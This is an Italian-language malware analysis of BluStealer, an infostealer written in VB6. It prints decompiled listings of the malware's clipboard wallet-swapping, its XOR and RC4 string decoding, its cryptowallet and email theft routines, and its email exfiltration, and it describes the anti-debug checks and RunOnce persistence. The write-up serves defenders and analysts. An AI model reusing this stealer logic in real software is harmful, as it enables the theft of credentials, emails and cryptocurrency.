"60F0C29ADD2FFE587C3EAB97B3583B11F70788E96EC8CED6EEAC3878426D18F8C057" loc_004120D0: var_eax = Proc_1_39_41E570(var_68, var_48) loc_004120E8: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00412107: var_6C = Proc_1_39_41E570(var_68, var_48) loc_00412115: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_0041211F: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_00412175: var_80 = Global.Clipboard loc_0041217A: var_178 = var_80 loc_0041221B: var_74 = var_7C loc_00412231: var_eax = Global.SetText var_74, var_120 loc_00412236: var_180 = Global.SetText var_74, var_120 loc_0041229E: GoTo loc_0041380B loc_004122A3: End If loc_004122B2: var_68 = "276466374509750B0B48497B3254271857150F2C5051395D" loc_004122BC: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_004122D4: var_70 = "DyLVOlrDvPxdBSyAYzSRWda" loc_004122F3: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00412301: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_00412373: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_00412383: var_118 = lYYYRREMZmSJiXqNTvujHh loc_004123D4: var_90 = var_24.test(var_50, lYYYRREMZmSJiXqNTvujHh) loc_004123E4: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_00412400: If var_174 Then loc_0041245D: var_80 = Global.Clipboard loc_00412462: var_178 = var_80 loc_004124B6: var_eax = Global.Clear loc_004124BB: var_180 = Global.Clear loc_0041250F: var_68 = "61C6F39CEE01FC597D38E0D7B9175A5FCF75EFC808CEC9D89FF8581F263046FFBF40AC9496BA665448EB" loc_00412519: var_eax = Proc_1_39_41E570(var_68, var_48) loc_00412531: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00412550: var_6C = Proc_1_39_41E570(var_68, var_48) loc_0041255E: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_00412568: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_004125BE: var_80 = Global.Clipboard loc_004125C3: var_178 = var_80 loc_00412664: var_74 = var_7C loc_0041267A: var_eax = Global.SetText var_74, var_120 loc_0041267F: var_180 = Global.SetText var_74, var_120 loc_004126E7: GoTo loc_0041380B loc_004126EC: End If loc_004126FB: var_68 = "06632A032A616F2C406E4D154E310F6E0C096503276012067F3E0836424648616C365855" loc_00412705: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_0041271D: var_70 = "RXKqqwHGwqCtTcyECBYHYFMykRDUMprd" loc_0041273C: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_0041274A: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_004127BC: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_004127CC: var_118 = lYYYRREMZmSJiXqNTvujHh loc_0041281D: var_90 = var_24.test(var_50, lYYYRREMZmSJiXqNTvujHh) loc_0041282D: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_00412849: If var_174 Then loc_004128A6: var_80 = Global.Clipboard loc_004128AB: var_178 = var_80 loc_004128FF: var_eax = Global.Clear loc_00412904: var_180 = Global.Clear loc_00412958: var_68 = "23F3DA93E0018C602A74B685EE6F281BFE7C9BF80CC6D18FDDAB225F553F159CD255EF" loc_00412962: var_eax = Proc_1_39_41E570(var_68, var_48) loc_0041297A: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00412999: var_6C = Proc_1_39_41E570(var_68, var_48) loc_004129A7: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_004129B1: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_00412A07: var_80 = Global.Clipboard loc_00412A0C: var_178 = var_80 loc_00412AAD: var_74 = var_7C loc_00412AC3: var_eax = Global.SetText var_74, var_120 loc_00412AC8: var_180 = Global.SetText var_74, var_120 loc_00412B30: GoTo loc_0041380B loc_00412B35: End If loc_00412B44: var_68 = "3D7F135B5A480714102344454F396C06285414044208026623065A0B1B2D744B084C" loc_00412B4E: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00412B66: var_70 = "RcKHkwqFVMxuhvxANbyZTo" loc_00412B85: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00412B93: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_00412C05: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_00412C15: var_118 = lYYYRREMZmSJiXqNTvujHh loc_00412C66: var_90 = var_24.test(var_50, lYYYRREMZmSJiXqNTvujHh) loc_00412C76: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_00412C92: If var_174 Then loc_00412CEF: var_80 = Global.Clipboard loc_00412CF4: var_178 = var_80 loc_00412D48: var_eax = Global.Clear loc_00412D4D: var_180 = Global.Clear loc_00412DAB: var_eax = Proc_1_39_41E570(var_68, var_48) loc_00412DC3: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00412DE2: var_6C = Proc_1_39_41E570(var_68, var_48) loc_00412DF0: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_00412DFA: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_00412E50: var_80 = Global.Clipboard loc_00412E55: var_178 = var_80 loc_00412EF6: var_74 = var_7C loc_00412F0C: var_eax = Global.SetText var_74, var_120 loc_00412F11: var_180 = Global.SetText var_74, var_120 loc_00412F79: GoTo loc_0041380B loc_00412F7E: End If loc_00412F8D: var_68 = "29120039562C2B0A44261C6A103664043E483F2046337C5C7E370C7B7A5856420D4F" loc_00412F97: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00412FAF: var_70 = "jwILteqpkiMqG" loc_00412FCE: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00412FDC: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_0041304E: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_0041305E: var_118 = lYYYRREMZmSJiXqNTvujHh loc_004130AF: var_90 = var_24.test(var_50, lYYYRREMZmSJiXqNTvujHh) loc_004130BF: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_004130DB: If var_174 Then loc_00413138: var_80 = Global.Clipboard loc_0041313D: var_178 = var_80 loc_00413191: var_eax = Global.Clear loc_00413196: var_180 = Global.Clear loc_004131F4: var_eax = Proc_1_39_41E570(var_68, var_48) loc_0041320C: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_0041322B: var_6C = Proc_1_39_41E570(var_68, var_48) loc_00413239: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_00413243: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_00413299: var_80 = Global.Clipboard loc_0041329E: var_178 = var_80 loc_0041333F: var_74 = var_7C loc_00413355: var_eax = Global.SetText var_74, var_120 loc_0041335A: var_180 = Global.SetText var_74, var_120 loc_004133C2: GoTo loc_0041380B loc_004133C7: End If loc_004133D6: var_68 = "33112A3B0C1A09150301182F3201040E382539320503363800262217037F637173665125317D760B4E" loc_004133E0: var_eax = Proc_1_39_41E570(var_68, var_11C, var_118) loc_004133F8: var_70 = "bmVqzNYMPEFPfxJHCvjicWP" loc_00413417: var_6C = Proc_1_39_41E570(var_68, var_11C, var_118) loc_00413425: var_eax = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_00413497: var_24."Pattern" = Proc_1_36_41DE10(var_6C, var_70, var_114) loc_004134A7: var_118 = lYYYRREMZmSJiXqNTvujHh loc_004134F8: var_90 = var_24.test(var_50, lYYYRREMZmSJiXqNTvujHh) loc_00413508: var_174 = CBool(Proc_1_36_41DE10(var_6C, var_70, var_114)) loc_00413524: If var_174 Then loc_00413581: var_80 = Global.Clipboard loc_00413586: var_178 = var_80 loc_004135DA: var_eax = Global.Clear loc_004135DF: var_180 = Global.Clear loc_00413633: var_68 = "16FDF2BCF920875F183B89B3EB1A5B3FBA05EFB872BBCFFDF799367B544E2089C656D1FFAECD0129299C955367E2DB7F838F6678496A0655" loc_0041363D: var_eax = Proc_1_39_41E570(var_68, var_48) loc_00413655: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_00413674: var_6C = Proc_1_39_41E570(var_68, var_48) loc_00413682: var_eax = Proc_1_35_41D9E0(var_6C, var_70) loc_0041368C: var_7C = Proc_1_35_41D9E0(var_6C, var_70) loc_004136E2: var_80 = Global.Clipboard loc_004136E7: var_178 = var_80 loc_00413788: var_74 = var_7C loc_0041379E: var_eax = Global.SetText var_74, var_120 loc_004137A3: var_180 = Global.SetText var_74, var_120 loc_0041380B: End If loc_00413810: GoTo loc_00413889 loc_00413888: Exit Sub loc_00413889: 'Referenced from: 00413810 End Sub

Come si vede dai metadati ad inizio file, il form ha solo tre componenti che sono tutti dei timer, e solo Timer1 esegue del codice ad ogni tick (il timer ha una frequenza di 1000 Hz).

Il codice non è offuscato eccetto che per le stringhe, tuttavia il decompilatore non è sempre corretto ed è necessario interpretare i listati ottenuti. Inoltre, le variabili globali non sono sempre rilevate correttamente ma si tratta per lo più di costanti o di stati usati dalle singole funzioni che non impattano sulla comprensione generale della loro funzionalità (i valori delle costanti si possono ottenere ispezionando gli indirizzi con IDA).

Come anticipato, le stringhe sono offuscate e l’estratto sotto ne mostra un esempio:

loc_0040FAAB: var_24 = "0C2D0C2F1D303A" loc_0040FAB5: var_eax = Proc_1_39_41E570(var_24, , ) loc_0040FACD: var_2C = "TOBcDtUIYSExkwlEMnLCW" loc_0040FAEC: var_28 = Proc_1_39_41E570(var_24, , ) loc_0040FAFA: var_eax = Proc_1_36_41DE10(var_28, var_2C, ) loc_0040FB12: var_eax = Proc_1_6_414010(var_54, Proc_1_36_41DE10(var_28, var_2C, ), )

Volendo riscrivere il codice generato dal compilatore, come nel caso di Proc_1_36_41DE10(Proc_1_39_41E570("0C2D0C2F1D303A", "TOBcDtUIYSExkwlEMnLCW")), non rimane che guardare cosa fanno queste due funzioni (riportate sotto per convenienza):

Public Sub Proc_1_39_41E570 loc_0041E5C8: var_88 = Len(Me) loc_0041E5DE: If 00000001h <= Len(Me) Then loc_0041E5FD: var_78 = "&H" loc_0041E64B: var_18 = var_18 & Chr$(CLng("&H" & Mid(Me, 1, 2))) loc_0041E676: 00000002h = 00000002h + 00000001h loc_0041E681: GoTo loc_0041E5D8 loc_0041E686: End If loc_0041E68B: GoTo loc_0041E6BD loc_0041E691: If var_4 Then loc_0041E69C: End If loc_0041E6BC: Exit Sub loc_0041E6BD: 'Referenced from: 0041E68B End Sub Public Sub Proc_1_36_41DE10 loc_0041DE5F: var_64 = Len(Me) loc_0041DE6A: If 00000001h <= Len(Me) Then loc_0041DE94: var_2C = Mid$(Me, 1, 1) loc_0041DED4: idiv ecx loc_0041DED6: 0 = 0 + 00000001h loc_0041DEF1: var_2C = Mid$(arg_C, 0+00000001h, 1) loc_0041DEFD: var_18 = Asc(var_2C) loc_0041DF20: var_54 = var_20 loc_0041DF4E: var_20 = var_20 + Chr(Asc(var_2C) xor eax) loc_0041DF68: 00000001h = 00000001h + 00000001h loc_0041DF6E: GoTo loc_0041DE67 loc_0041DF73: End If loc_0041DF79: var_28 = var_20 loc_0041DF84: GoTo loc_0041DFB2 loc_0041DF8A: If var_4 Then loc_0041DF95: End If loc_0041DFB1: Exit Sub loc_0041DFB2: 'Referenced from: 0041DF84 End Sub

Sebbene il codice generato sembri non avere senso nei singoli statement, Proc_1_39_41E570 è facile da interpretare (complice anche il formato della stringa): si tratta di una funzione che converte una stringa esadecimale in una stringa di caratteri (non necessariamente stampabili).

L’utilità della procedura Proc_1_36_41DE10 è altrettando facilmente intuibile: si tratta di un rolling XOR (idiv è usata per calcolare il resto). L’unica vera accortezza è lo statement (senza senso ma importante) 0 = 0 + 00000001h. Dato che sembra non avere senso, è più comodo guardare il codice assembly:

loc_0041DE62: mov esi, 00000001h loc_0041DE67: cmp esi, var_64 loc_0041DE6A: jg 0041DF73h ... loc_0041DEC8: push ecx loc_0041DEC9: call [00401030h] ; @Len(%StkVar1) loc_0041DECF: mov ecx, eax loc_0041DED1: mov eax, esi loc_0041DED3: cdq loc_0041DED4: idiv ecx loc_0041DED6: add edx, 00000001h loc_0041DED9: jo 0041DFD2h

esi è il contatore del ciclo che effettua il rolling XOR ed è inizializzato ad 1; più avanti ne viene fatto il modulo con la lunghezza della chiave XOR per ottenere l’indice all’interno di questa, ma la presenza dell’istruzione add edx, 00000001h fa sì che il l’indice inizi da 2 anzichè da 1 (senza direttive Option Base VB6 indicizza da 1). Il risultato finale è che il primo carattere della chiave XOR deve essere spostato in fondo a questa per poterla usare con un qualsiasi strumento per la decodifica XOR.

Ad esempio la chiave sopra TOBcDtUIYSExkwlEMnLCW diventa OBcDtUIYSExkwlEMnLCWT e questo può quindi essere usato con Cyberchef:

Per facilità di esposizione è bene precisare subito che BluStealer usa un’altra forma di offuscazione delle stringhe.
Un estratto di tale offuscazione e della funzione che decodifica le stringhe è mostrato sotto. Gli analisti più dubbiosi possono verificare con un debugger che si tratta di RC4 ma già dall’estratto si può intuire che siamo in presenza di questo cifrario (principalmente dalle dimensioni degli array).

var_68 = "60FFD6B8C210B8282C67A5D5BA1F3610FF42BFC560AFEEF2E5880B434171259EF95A" loc_004107AA: var_eax = Proc_1_39_41E570(var_68, -1, edi) loc_004107B4: var_78 = Proc_1_39_41E570(var_68, -1, edi) loc_004107C2: var_70 = "SWnngkuonEjpdJHeKfHsnFWCNlZNhfrZSg" loc_004107E1: var_6C = var_78 loc_004107F5: var_eax = Proc_1_35_41D9E0(var_6C, var_70, lYYYRREMZmSJiXqNTvujHh) '--- Public Sub Proc_1_35_41D9E0 loc_0041DA3A: Dim var_2C(255) As Byte loc_0041DA47: Dim var_54(255) As Byte loc_0041DA53: loc_0041DA5A: If esi <= 255 Then loc_0041DA66: If esi >= 256 Then loc_0041DA68: var_eax = Err.Raise loc_0041DA6E: End If loc_0041DA90: If esi >= 256 Then loc_0041DA92: var_eax = Err.Raise loc_0041DA98: End If loc_0041DAAA: idiv ecx loc_0041DAAC: 0 = 0 + 00000001h loc_0041DAC4: var_64 = Mid$(arg_C, 0+00000001h, 1) loc_0041DAF3: 00000001h = 00000001h + esi loc_0041DAFD: GoTo loc_0041DA53 loc_0041DB02: End If loc_0041DB0E: loc_0041DB15: If esi <= 255 Then loc_0041DB27: If esi >= 256 Then loc_0041DB29: var_eax = Err.Raise loc_0041DB2B: End If loc_0041DB31: If esi >= 256 Then loc_0041DB33: var_eax = Err.Raise loc_0041DB35: End If loc_0041DB43: ecx+esi = ecx+esi + var_60 loc_0041DB50: ecx+esi+var_60 = ecx+esi+var_60 + ecx+esi loc_0041DB60: If Not Sign(-2147483393 - 0) Then loc_0041DB62: edi = -2147483393 - 1 loc_0041DB69: edi = -256 + 1 loc_0041DB6A: End If loc_0041DB70: var_60 = -256 + 1 loc_0041DB73: If esi >= 256 Then loc_0041DB75: var_eax = Err.Raise loc_0041DB77: End If loc_0041DB83: If -256 + 1 >= 0 Then loc_0041DB85: var_eax = Err.Raise loc_0041DB8B: End If '... End Sub

Cyberchef può ancora una volta essere usato per verificare le ipotesi di analisi (la stringa decodificata è un indirizzo di un wallet di criptovalute, discusso più avanti):

Una volta individuato come decodificare le stringhe BluStealer non presenta più offuscazioni ed è possibile passare alla seconda fase di reverse, ovvero alla individuazione delle funzionalità delle varie procedure.

Si tratta di quasi 8.000 righe di codice VB6 per cui il lavoro risulta un po’ tedioso ma per fortuna l’abbiamo già fatto ed è possibile scaricare lo ZIP con il codice reversato (notare che non tutte le stringhe sono state reversate e alcune sono stato rimpiazzate direttamente con il valore deoffuscato).

Il codice reversato può essere usato come riferimento per la descrizione delle funzionalità di BluStealer.

Il ciclo principale

Il timer Timer1 è usato come ciclo principale del malware: scattando una volta ogni millisecondo permette a questo di eseguire azioni periodicamente.

Dal codice reversato è possibile intuire la struttura del ciclo principale di BluStealer:

counter = 0 Repeat every 1ms: If any key was pressed AND data not stolen: Steal data If counter = 1000: '1s second elapsed since last check Send files with stolen data by e-mail counter = 0 Replace cryptowallets in the clipboard

Sono effettuate tre azioni:

  • Non appena è premuto un tasto (anche del mouse) i dati di browser e di client di posta, VPN ed FTP sono esfiltrati e salvati dentro una cartella di lavoro (alcuni dati sono inviati immediatamente per email).
  • Ogni secondo è controllata la presenza di questi file ed eventualmente sono inviati per email.
  • Ogni millisecondo eventuali indirizzi di portafogli di cripto valute presenti nella clipboard sono rimpiazzati con indirizzi di portafogli del malware (vedi più avanti).

Il furto dei dati

Prima di rubare i dati dalle applicazioni delle vittime, BluStealer effetta un controllo antivm e antidebug (oltre a controllare che non vi siano altre istanze in esecuzione):

  • Controlla che il nome del proprio eseguibile, una volta rimossa l’estensione, sia composto da soli caratteri esadecimali (Il controllo è fatto in CheckSelfName ma il codice decompilato ha perso gran parte dell’informazione necessaria: infatti viene utilizzato un array con i caratteri validi che è composto a runtime tramite constanti e delle stringhe offuscate e queste operazioni non sono decompilate correttamente).
  • Controlla che non siano in esecuzione i seguenti processi: fiddler, vxstream, tcpview, procexp, vmtools, autoit, wireshark, procmon, idaq, autoruns, apatedns, windbg. Si tratta di strumenti di debug o monitoraggio. La lista dei processi è ottenuta tramite la query WMI Select * from Win32_Process.
  • Controlla che la macchina disponga dei seguenti requisiti hardware: Almeno un disco da 60GiB, almeno 1GiB di memoria RAM e almeno 2 CPU.
Parte dei controlli antidebug di BluStealer

Passati i controlli antidebug il malware crea una cartella in AppData (generata cifrando con RC4 il numero seriale del volume C:\ con password “microsoftcorporation” e convertendo in esadecimale il risultato) che fungerà da area di lavoro.

Viene determinato l’IP pubblico della macchina infetta facendo scraping di “http://showip.net” o, in alternativa, di “https://www.mediacollege.com/internet/utilities/show-ip.shtml”. L’IP è inviato insieme ai dati sottratti.

Se è installato uno o più dei seguenti portafogli di criptovalute, questi sono copiati dentro la cartella CryptoWallets nell’area di lavoro, cartella che e successivamente zippata in CryptoWallets.zip e che verrà inviata ai criminali via email (sia immediatamente che periodicamente dal ciclo principale). I portafogli interessati sono: Zcash, Armory, bytecoin, Jaxx Liberty, Exodus, Ethereum, Electrum, Atomic, Guarda, Coinomi.

Public Sub StealCryptoWallets loc_00434CD0: Dim var_44(9) As String loc_00434CDF: On Error Resume Next loc_00434D65: var_2C = global_WorkDir & "\CryptoWallets" loc_00434E5A: If var_CC < 10 Then loc_00434E66: GoTo loc_00434E74 loc_00434E68: End If loc_00434E68: var_eax = Err.Raise loc_00434E6E: var_158 = Err.Raise loc_00434E74: 'Referenced from: 00434E66 loc_00434E86: var_64 = Environ$(XorDecode("AppData") loc_00434E95: var_eax = XorDecode(var_5C, var_60, var_64) loc_00434EC5: var_38(var_CC*4) = & "\Zcash" loc_00434FDE: If var_CC < 10 Then loc_00434FEA: GoTo loc_00434FF8 loc_00434FEC: End If loc_00434FEC: var_eax = Err.Raise loc_00434FF2: var_15C = Err.Raise loc_00434FF8: 'Referenced from: 00434FEA loc_00435049: var_38(var_CC*4) = & "\Armory" loc_00435162: If var_CC < 10 Then loc_0043516E: GoTo loc_0043517C loc_00435170: End If loc_00435170: var_eax = Err.Raise loc_00435176: var_160 = Err.Raise loc_0043517C: 'Referenced from: 0043516E loc_004351CD: var_38(var_CC*4) = & "\bytecoin" loc_004352E6: If var_CC < 10 Then loc_004352F2: GoTo loc_00435300 loc_004352F4: End If loc_004352F4: var_eax = Err.Raise loc_004352FA: var_164 = Err.Raise loc_00435300: 'Referenced from: 004352F2 loc_00435351: var_38(var_CC*4) = & "\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb" loc_0043546A: If var_CC < 10 Then loc_00435476: GoTo loc_00435484 loc_00435478: End If loc_00435478: var_eax = Err.Raise loc_0043547E: var_168 = Err.Raise loc_00435484: 'Referenced from: 00435476 loc_004354D5: var_38(var_CC*4) = & "\Exodus\exodus.wallet\" loc_004355EE: If var_CC < 10 Then loc_004355FA: GoTo loc_00435608 loc_004355FC: End If loc_004355FC: var_eax = Err.Raise loc_00435602: var_16C = Err.Raise loc_00435608: 'Referenced from: 004355FA loc_00435659: var_38(var_CC*4) = & "\Ethereum\keystore" loc_00435772: If var_CC < 10 Then loc_0043577E: GoTo loc_0043578C loc_00435780: End If loc_00435780: var_eax = Err.Raise loc_00435786: var_170 = Err.Raise loc_0043578C: 'Referenced from: 0043577E loc_004357DD: var_38(var_CC*4) = & "\Electrum\wallets" loc_004358DF: var_5C = FromHex(var_58) loc_004358F6: If var_CC < 10 Then loc_00435902: GoTo loc_00435910 loc_00435904: End If loc_00435904: var_eax = Err.Raise loc_0043590A: var_174 = Err.Raise loc_00435910: 'Referenced from: 00435902 loc_00435961: var_38(var_CC*4) = & "\atomic\Local Storage\leveldb" loc_00435A7A: If var_CC < 10 Then loc_00435A86: GoTo loc_00435A94 loc_00435A88: End If loc_00435A88: var_eax = Err.Raise loc_00435A8E: var_178 = Err.Raise loc_00435A94: 'Referenced from: 00435A86 loc_00435AE5: var_38(var_CC*4) = & "\Guarda\Local Storage\leveldb" loc_00435C2F: If var_CC < 10 Then loc_00435C3B: GoTo loc_00435C49 loc_00435C3D: End If loc_00435C3D: var_eax = Err.Raise loc_00435C43: var_17C = Err.Raise loc_00435C49: 'Referenced from: 00435C3B loc_00435C70: var_64 = var_94 + "\Coinomi\Coinomi\wallets" loc_00435C84: var_38(var_CC*4) = var_64 loc_00435CFF: GoTo loc_00435D16 loc_00435D01: loc_00435D05: var_24 = var_24 + var_DC loc_00435D12: var_24 = var_24+var_DC loc_00435D16: 'Referenced from: 00435CFF loc_00435D21: If var_24 <= 9 Then loc_00435D32: var_CC = var_24 loc_00435D3F: If var_CC < 10 Then loc_00435D4B: GoTo loc_00435D59 loc_00435D4D: End If loc_00435D4D: var_eax = Err.Raise loc_00435D53: var_180 = Err.Raise loc_00435D59: 'Referenced from: 00435D4B loc_00435D65: var_BC = var_38(var_CC*4) loc_00435DA3: var_D0 = (Dir(var_38(var_CC*4), 16) = global_null) loc_00435DBC: If var_D0 Then loc_00435DCC: var_BC = var_2C loc_00435DF0: var_4C = Dir(var_2C, 16) loc_00435E06: eax = (var_4C = global_null) + 1 loc_00435E09: var_CC = (var_4C = global_null) + 1 loc_00435E22: If var_CC Then loc_00435E2F: MkDir var_2C loc_00435E35: End If loc_00435E40: var_D0 = var_24 loc_00435E4D: If var_D0 < 10 Then loc_00435E59: GoTo loc_00435E67 loc_00435E5B: End If loc_00435E5B: var_eax = Err.Raise loc_00435E61: var_184 = Err.Raise loc_00435E67: 'Referenced from: 00435E59 loc_00435E6B: var_D4 = var_24 loc_00435E78: If var_D4 < 10 Then loc_00435E84: GoTo loc_00435E92 loc_00435E86: End If loc_00435E86: var_eax = Err.Raise loc_00435E8C: var_188 = Err.Raise loc_00435E92: 'Referenced from: 00435E84 loc_00435E96: var_CC = var_24 loc_00435EA3: If var_CC < 10 Then loc_00435EAF: GoTo loc_00435EBD loc_00435EB1: End If loc_00435EB1: var_eax = Err.Raise loc_00435EB7: var_18C = Err.Raise loc_00435EBD: 'Referenced from: 00435EAF loc_00435EC9: var_BC = var_38(var_CC*4) loc_00435F0A: Len(var_38(var_D0*4)) = Len(var_38(var_D0*4)) - InStrRev(var_38(var_D4*4), global_slashHat, -1, 0) loc_00435F36: var_8C = var_2C & global_slashHat loc_00435F6F: var_4C = Dir(var_2C & global_slashHat + Right(var_38(var_CC*4), Len(var_38(var_D0*4))), 16) loc_00435F89: var_D8 = (var_4C = global_null) loc_00435FC2: If var_D8 Then loc_00435FC4: GoTo loc_0043600E loc_00435FC6: End If loc_00435FD1: var_CC = var_24 loc_00435FDE: If var_CC < 10 Then loc_00435FEA: GoTo loc_00435FF8 loc_00435FEC: End If loc_00435FEC: var_eax = Err.Raise loc_00435FF2: var_190 = Err.Raise loc_00435FF8: 'Referenced from: 00435FEA loc_00436009: var_eax = FileOperation(var_38(var_CC*4), var_2C) loc_0043600E: End If loc_0043600E: loc_00436015: GoTo loc_00435D01 loc_0043601A: End If loc_00436024: var_BC = var_2C loc_00436062: var_CC = (Dir(var_2C, 16) = global_null) loc_0043607B: If var_CC Then loc_004360A8: var_eax = MakeZip(var_2C, global_WorkDir & global_slashHat) loc_004360B6: End If loc_004360C2: var_eax = Sleep(00001388h) loc_00436168: var_7C = global_WorkDir & "\CryptoWallets.zip" loc_004361A3: var_CC = (Dir(global_WorkDir & var_58, 0) = global_null) loc_004361E6: If var_CC Then loc_0043628A: var_60 = "DC-CWs" loc_004362AA: var_eax = SendByEMail(var_5C, var_60, "\CryptoWallets.zip") loc_004362DE: End If loc_004362E3: GoTo loc_00436344 loc_00436343: Exit Sub loc_00436344: 'Referenced from: 004362E3 loc_00436350: var_C8 = var_44 loc_00436365: Exit Sub loc_0043637A: Exit Sub

Oltre ai portafogli, BluStealer è in grado di rubare le credenziali e le carte di credito salvate nei seguenti browser: Chrome, Opera, Yandex Browser, 360Chrome, Comodo Dragon, ChromePlus, Chromium, Torch, Brave Browser, Iridium, 7Star, Amigo, CentBrowser, Chedot, CocCoc, Elements Browser, Epic Privacy Browser, Kometa, Orbitium, Sputnik, Uran, Vivaldi, Sleipnir5, Citrio, Coowon, Liebao, QIP Surf, Edge, Firefox, Waterfox, K-Meleon, IceDragon, Cyberfox, BlackHawK, Pale Moon.

Dato che leggere le password dai browser richiede l’uso di SQLite, il malware verifica se un’installazione disponibile è presente sulla macchina, in caso di successo le password sono estratte direttamente dal codice VB6 (di cui un estratto è mostrato sotto) e accumulate in una stringa, altrimenti vengono usati due eseguibili zippati contenuti nelle risorse (descritti più avanti). Questi eseguibili salvano le credenziali rubate nel file %APPDATA%\Microsoft\Windows\Templates\credentials.txt il quale è in ogni caso letto dal codice VB6 e il cui contenuto aggiunto alla stringa delle credenziali (se la macchina ha SQLite il file è vuoto e la stringa di credenziali piena, se non c’è SQLite avviene il contrario, in ogni caso non ci sono duplicati).

Le parti del codice di BluStealer atte al furto delle credenziali dai browser. In alto a sinistra: le query SQLite per estrarre i dati. In basso a sinistra, una parte dell’elenco dei browser supportati. A destra: il codice che, in presenza di SQLite, avvia l’esfiltrazione.

Le credenziali sono poi inviate direttamente per e-mail agli autori della campagna.

Oltre ai browser sono vittime di BluStealer anche i seguenti programmi di posta: Outlook 2013+, Thunderbird, FoxMail ed i seguenti programmi di networking: CoreFTP, WinSCP, NordVPN.

Fatto interessante di BluStealer è che, qualora la vittima usi Thunderbird o 163Mail, può rubare anche il contenuto delle e-mail.

Come mostra il codice sotto, le e-mail sono salvate nell’area di lavoro nei file Messages.txt e 163MailMessages.txt.

Public Sub StealEmails loc_0043130E: On Error Resume Next loc_00431324: If var_hasSqlite = 0 Then loc_00431326: GoTo loc_00431618 loc_0043132B: End If loc_0043133E: global_43B078 = 0 loc_00431347: GoTo loc_00431361 loc_00431349: loc_00431350: 0043B078h = 0043B078h + var_60 loc_0043135A: global_43B078 = 0043B078h+var_60 loc_00431361: 'Referenced from: 00431347 loc_0043136C: If 0043B078h <= 7 Then loc_00431380: var_58 = global_0043B078 loc_00431387: If var_58 < 8 Then loc_00431390: GoTo loc_0043139B loc_00431392: End If loc_00431392: var_eax = Err.Raise loc_00431398: var_7C = Err.Raise loc_0043139B: 'Referenced from: 00431390 loc_004313A7: var_4C = edx+ecx*4 loc_004313C2: var_2C = Dir(edx+ecx*4, 16) loc_004313DC: var_5C = (var_2C = global_null) loc_004313EF: If var_5C Then loc_00431403: var_58 = global_0043B078 loc_0043140A: If var_58 < 8 Then loc_00431413: GoTo loc_0043141E loc_00431415: End If loc_00431415: var_eax = Err.Raise loc_0043141B: var_80 = Err.Raise loc_0043141E: 'Referenced from: 00431413 loc_0043142B: var_eax = StealThunderbirdMessages(edx+ecx*4, -1, edi) loc_00431435: var_24 = StealThunderbirdMessages(edx+ecx*4, -1, edi) loc_00431449: var_58 = global_0043B078 loc_00431450: If var_58 < 8 Then loc_0043145C: GoTo loc_0043146A loc_0043145E: End If loc_0043145E: var_eax = Err.Raise loc_00431464: var_84 = Err.Raise loc_0043146A: 'Referenced from: 0043145C loc_00431493: global_0043B084 = Replace(eax+edx*4, "\Profiles", global_null, 1, -1, 0) loc_004314A0: var_4C = global_0043B084 loc_004314D2: Len(global_0043B084) = Len(global_0043B084) - InStrRev(global_0043B084, global_slashHat, -1, 0) loc_00431521: If (var_24 = global_null) Then loc_0043157E: var_eax = WriteToFile(global_WorkDir & global_slashHat & Right(global_0043B084, Len(global_0043B084)) & "Messages.txt", var_24, 0) loc_0043159A: End If loc_0043159A: End If loc_004315A1: GoTo loc_00431349 loc_004315A6: End If loc_004315B4: var_eax = StealEmailSearch(ebx, fs:[00000000h], ) loc_004315BE: var_28 = StealEmailSearch(ebx, fs:[00000000h], ) loc_004315DC: If (var_28 = global_null) Then loc_0043160A: var_eax = WriteToFile(global_WorkDir & "\163MailMessages.txt", var_28, ) loc_00431618: End If loc_0043161D: GoTo loc_00431640 loc_0043163F: Exit Sub loc_00431640: 'Referenced from: 0043161D loc_00431652: Exit Sub loc_00431663: Exit Sub End Sub
A sinistra il codice che ruba le ricerche effettuate su Thunderbird. A destra quello che ruba i messaggi e-mail.

Sempre da Thunderbird e 163Mail vengono sottratti anche i contatti della rubrica e salvati nei file Contacts.txt e 163Contacts.txt.

Questi file verranno inviati via email ai criminali.

Infine BluStealer si assicura la persistenza copiandosi nel file %APPDATA%\Microsoft\Windows\Templates\fireball.exe e aggiungendo nella consueta chiave RunOnce il percorso di questo.

